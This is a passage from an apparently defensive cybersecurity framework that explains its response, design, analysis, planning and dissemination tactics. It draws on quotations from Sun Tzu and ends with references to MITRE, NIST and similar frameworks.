Response usually takes the shape of “Incident Response” as a function, but since our framework does not define functions, teams, or departments per se, response tactical activities refer to any type of reaction to a disruption in the connective tissue of our digital assets or services. In this sense, any planned activity that can be used in a defensive context qualifies as a response tactic: disaster recovery plans, business continuity plans, emergency response plans, risk management plans, etc.

Design

Now the general who wins a battle makes many calculations in his temple ere the battle is fought. The general who loses a battle makes but few calculations beforehand. (Sun Tzu, Book I)

The Design domain implements tactics to aid in the process of creating a plan or solution to a problem or need. It involves identifying the needs or requirements for a product, service, or system, and developing an approach for how to meet those needs.

In order to design something effectively, we need to have a clear understanding of the problem or need that we are trying to address, as well as the materials, resources, and constraints that we have to work with. Designing usually requires the ability to think creatively and come up with innovative ideas for how to solve a problem or meet a need.

Effective communication and dissemination are important components of the design process. Communication is necessary in order to clearly articulate the problem or need that you are trying to address, as well as to gather input and feedback from others who may be involved in the design process. Thus dissemination is a necessary part of the design process, in order to share prospective or final outcomes with relevant stakeholders.

Analyse

Analysis is the process of breaking something down into its component parts in order to gain a better understanding of it. It often involves examining and evaluating data or information in order to identify patterns, trends, and relationships. The word comes from the Ancient Greek ἀνάλυσις (analysis, “breaking-up”, “untying;” from ana- “up, throughout” and lysis “loosening”).

Analysis can be qualitative, in which the focus is on understanding and interpreting the meaning of data or information, or quantitative, in which the focus is on measuring and evaluating data or information using statistical or mathematical techniques.

Analytical tactics don’t make distinctions between “analysis” and “synthesis” as opposite activities but rather it comprises both as complementary activities.

In the context of this framework, analysis is any activity performed to identify, reason and solve for a given problem.

Plan

… a power of estimating the adversary, of controlling the forces of victory, and of shrewdly calculating difficulties, dangers and distances, constitutes the test of a great general. (Sun Tzu, Book X)

Planning involves considering the actions needed to achieve a particular goal and anticipating potential outcomes. It relies on the ability to imagine and formulate alternative futures (a capability otherwise known as foresight, the fundamental capacity for mental time travel), and is thought to have played a key role in human evolution.

From a neurological perspective, planning involves a number of brain functions including goal setting, decision making, and problem solving. It requires the activation of certain areas of the brain such as the prefrontal cortex, which is involved in higher cognitive functions such as planning and decision-making, and the basal ganglia, which is involved in the selection and initiation of actions.

Planning also involves the coordination of various brain regions and cognitive processes, such as attention, memory, and language, to generate and evaluate potential courses of action.

Disseminate

Dissemination refers to the act of spreading or distributing information or ideas to a wider group of people or audiences. It can refer to the distribution of information through various channels, such as through the media, through communication networks, or through public speaking and presentations. Dissemination can be used to share research findings, news, cultural events, or any other type of information with a larger group of people.

Note: in a future version of the framework Disseminate may transform into Communicate as a more broad and complex activity.

References

• Cynefin, a sense-making framework. Cynefin is a framework for understanding what kind of problem space you are in to guide decision-making and action. It was created by David Snowden and takes its name from the Welsh word meaning “the place of your multiple belongings.”, https://cynefin.io/wiki/Cynefin

• Alex S. Wilner (2011) Deterring the Undeterrable: Coercion, Denial, and Delegitimization in Counterterrorism, The Journal of Strategic Studies, 34:1, 3-37, DOI: 10.1080/01402390.2011.541760, https://doi.org/10.1080/01402390.2011.541760

• MITRE ENGAGE, a framework for planning and discussing adversary engagement operations, https://engage.mitre.org/

• MITRE ATT&CK, a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations, https://attack.mitre.org/

• MITRE ATTACK FLOW, a data model with supporting tooling and examples for describing sequences of adversary behaviors. Attack flows help defenders understand, share, and make threat-informed decisions based on the sequence of actions in a cyber-attack., https://ctid.mitre-engenuity.org/our-work/attack-flow/

• MITRE D3FEND, a knowledge graph of cybersecurity countermeasures, https://d3fend.mitre.org/

• Cyber Kill Chain, a model for identification and prevention of cyber intrusions activity, https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

• NIST, a framework that offers a set of guidelines and best practices for managing cybersecurity risks in organizations, the framework provides a common language and a structured approach for organizations to identify, assess, and manage cybersecurity risks in a consistent and repeatable way, https://www.nist.gov/cyberframework

• Cyber Threat Framework, the Cyber Threat Framework was developed by the US Government to enable consistent characterization and categorization of cyber threat events, and to identify trends or changes in the activities of cyber adversaries, https://www.dni.gov/index.php/cyber-threat-framework

1. As per Microsoft Learn: “CIS benchmarks are configuration baselines and best practices for securely configuring a system. Each of the guidance recommendations references one or more CIS controls that were developed to help organizations improve their cyberdefense capabilities. CIS controls map to many established standards and regulatory frameworks, including the NIST Cybersecurity Framework (CSF) and NIST SP 800-53, the ISO 27000 series of standards, PCI DSS, HIPAA, and others.”